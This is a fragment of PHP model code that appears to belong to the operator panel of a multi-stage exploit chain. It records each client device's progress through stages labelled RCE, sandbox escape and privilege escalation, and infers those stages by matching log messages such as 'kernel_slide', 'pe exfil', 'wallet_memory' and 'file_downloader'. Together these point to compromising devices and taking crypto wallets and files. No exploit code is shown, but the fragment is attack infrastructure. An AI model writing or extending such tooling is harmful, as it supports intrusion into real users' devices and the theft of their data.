*/ public const STAGES = [ 'boot' => ['progress' => 8, 'title' => '启动'], 'loader' => ['progress' => 18, 'title' => '加载器'], 'worker' => ['progress' => 42, 'title' => 'RCE'], 'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'], 'sbx1' => ['progress' => 72, 'title' => '沙箱二段'], 'pe' => ['progress' => 86, 'title' => '权限提升'], 'post' => ['progress' => 100, 'title' => '取证完成'], ]; protected $fillable = [ 'client_uid', 'channel_id', 'stage', 'progress', 'label', 'created_at', ]; protected function casts(): array { return [ 'progress' => 'integer', 'created_at' => 'datetime', ]; } public static function stageTitle(string $stage): string { return self::STAGES[$stage]['title'] ?? $stage; } /** * @return array{stage: string, progress: int, label: string}|null */ public static function inferFromText(?string $text): ?array { $msg = trim((string) $text); if ($msg === '') { return null; } if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) { return ['stage' => 'post', 'progress' => 100, 'label' => 'post']; } if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) { return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾']; } if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) { return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe']; } if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) { return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1']; } if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) { return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0']; } if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) { return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker']; } if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) { return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader']; } if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) { return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot']; } return null; } public static function record( string $clientUid, string $stage, int $progress = 0, ?string $label = null, ?string $channelId = null, ): ?self { $clientUid = Device::normalizeDarkswordKey($clientUid) ?? ''; $stage = strtolower(trim($stage)); if ($clientUid === '' || ! isset(self::STAGES[$stage])) { return null; } $meta = self::STAGES[$stage]; if ($progress <= 0) { $progress = $meta['progress']; } $progress = max(0, min(100, $progress)); $label = trim((string) ($label ?? '')); if ($label === '') { $label = $stage; } $label = substr($label, 0, 255); $channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null; $last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first(); if ($last && $last->stage === $stage && (int) $last->progress === $progress && (string) $last->label === $label) { return $last; } return self::query()->create([ 'client_uid' => substr($clientUid, 0, 64), 'channel_id' => $channelId, 'stage' => $stage, 'progress' => $progress, 'label' => $label, 'created_at' => now(), ]); } }